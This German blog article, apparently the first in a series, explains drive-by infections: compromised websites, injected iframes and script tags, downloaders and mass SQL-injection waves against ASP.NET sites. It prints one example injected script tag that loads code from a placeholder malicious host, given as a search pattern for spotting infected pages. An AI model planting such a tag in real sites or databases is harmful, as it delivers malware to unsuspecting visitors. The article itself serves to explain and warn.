Drive-by-Infektionen – Gefahren drohen überall
Drive-by-Infektionen sind die zur Zeit wohl größte Bedrohung im
Web: In eigentlich vertrauenswürdige Websites eingeschleuste iframes
oder script-Tags versuchen, auf den Rechnern der Besucher
Schadsoftware einzuschleusen. Und auch außerhalb des Webs lauert
diese Gefahr: Cyberkriminelle können ihre Opfer über E-Mails
auf präparierte Seiten locken, wie es z.B. im Rahmen der “Operation
Aurora” genannten gezielten Angriffe auf Google und andere Unternehmen
eindrucksvoll vorgeführt wurde. Und Sophos
berichtet
über Spam-Mails, deren HTML-Anhänge außer dem Spam
zusätzlich einen unsichtbaren iframe zum Einschleusen von Schadcode
enthalten.
Der klassische Fall: Kompromittierte Websites
Im klassischen Fall der kompromittierten Websites erfolgt der Angriff in zwei Schritten: Zuerst wird eine normalerweise vertrauenswürdige Webseite so manipuliert, das sie bösartigen JavaScript-Code enthält. Danach wird von diesem JavaScript-Code in einem oder mehreren Schritten der eigentliche Schadcode auf dem Rechner des ahnungslosen Besuchers eingeschleust. Für diese Angriffe hat sich der Begriff Drive-by-Download oder Drive-by-Infektion eingebürgert, wobei ich den zweiten für passender halte – Drive-by-Download klingt zu harmlos.
Die Installation des Schadcodes erfolgt ohne Zutun des Benutzers, der i.A.
nicht einmal bemerkt, was da gerade passiert. In einem
script-Tag oder über einen iframe wird ein
JavaScript-Skript eingebunden, das dann versucht, über eine mehr oder
weniger großer Anzahl an Exploits zur Ausnutzung aktueller und auch
älterer Schwachstellen den Schadcode einzuschleusen. Ist dieser erste
Schadcode, der sog. Downloader, auf dem Rechner installiert, lädt er
weiteren Code nach, der verschiedenen Zwecken dienen kann. Vom
Ausspähen von Zugangsdaten bis zur Integration des Rechners in ein
Botnet
ist dann alles möglich. Manche Schädlinge laden bei
Bedarf auch weiteren Code nach, so dass ein ausspionierter Rechner
anschließend noch als Teil eines Botnets dienen kann.
Das erste Opfer: Der Webserver
Im Juni 2010 liefen laut Sucuri Security mindestens zwei groß angelegte SQL-Injection-Angriffe auf ASP.NET-Websites, die Code für Drive-by-Infektionen einschleusten. Das ist eigentlich nichts Neues, das gab es genau so auch schon 2008. Die SQL-Injection-Angriffe nutzen keine Schwachstellen in bestimmten Anwendungen oder Erweiterungen aus, sondern sind allgemein gegen alle ASP-Anwendungen gerichtet. Gibt es darin eine SQL-Injection-Schwachstelle, fällt sie dem Angriff zum Opfer. Sophos hat am 4. Juli über eine mögliche weitere Welle von SQL-Injection-Angriffen berichtet.
Der Klassiker: SQL-Injection
Die SQL-Injection-Angriffe folgen meist einem einheitlichen Muster: Alle
geeigneten Datenbankfelder werden mit iframes oder script-Tags
zum Nachladen von Schadcode gefüllt, in der Hoffnung, dass mindestens
eines der Felder ohne weitere Prüfung oder Bearbeitung ausgegeben
wird. Dabei werden Systemtabellen und z.B. rein numerische Felder
ignoriert und nur die einem normalen Benutzer gehörenden Tabellen und
darin die Felder mit Textwerten etc. manipuliert. Werden die Werte daraus
dann später unverändert an die Besucher der Website ausgegeben,
wird der eingeschleuste Code im Webbrowser der Benutzer ausgeführt
und JavaScript-Schadcode zum Ausnutzen verschiedener Schwachstellen
nachgeladen.
Wie viele Websites ungefähr Opfer einer Angriffswelle geworden sind,
verraten die Suchmaschinen: Da der iframe oder script-Tag in
alle passenden Felder eingeschleust wird, sind regelmäßig auch
welche dabei, die an Stellen ausgegeben werden, an denen diese Tags laut
HTML-Standard nicht vorgesehen sind und daher auch nicht ausgewertet
werden, z.B. innerhalb des title-Tags. Sucht man nach dem
eingeschleusten Code, z.B.
<script src=http://www.boeser-server.example/pfad/zum/skript.js></script>
werden die Seiten mit dem entsprechenden iframe oder
script-Tag ausgegeben.
Es gibt mehrere Tools, sog. Exploit-Kits, die von den Cyberkriminellen zur Vorbereitung und Durchführung derartiger Angriffe genutzt werden können. Dabei können sowohl die anzuwendenden Exploits als auch die anzugreifenden Websites komfortabel ausgewählt und die Angriffe konfiguriert werden. Danach muss der Kriminelle nur noch darauf warten, dass die verteilte Schadsoftware sich mit seinem Server verbindet. Die Manipulation der harmlosen Websites und die Angriffe auf deren Besucher laufen automatisch ab.
In der
nächsten Folge
werde ich einen SQL-Injection-Angriff zum Einschleusen eines iframes oder
script-Tags genauer beschreiben.
Übersicht über alle Artikel zum Thema
- Drive-by-Infektionen – Gefahren drohen überall
- Drive-by-Infektionen durch SQL-Injection vorbereitet
- Drive-by-Infektionen: So kommt der Schadcode auf den Server
- Drive-by-Infektionen – Vom Server auf den Client
- Drive-by-Infektionen – Ein Blick auf die Exploits
- Drive-by-Infektionen erkennen und abwehren
- LizaMoon – Massenhack mit minimalen Folgen
- Aktuelles: LizaMoon auf Apples iTunes-Seiten
- Drive-by-Infektionen über präparierte Werbung
Kommentare
Ansicht der Kommentare: Linear | Verschachtelt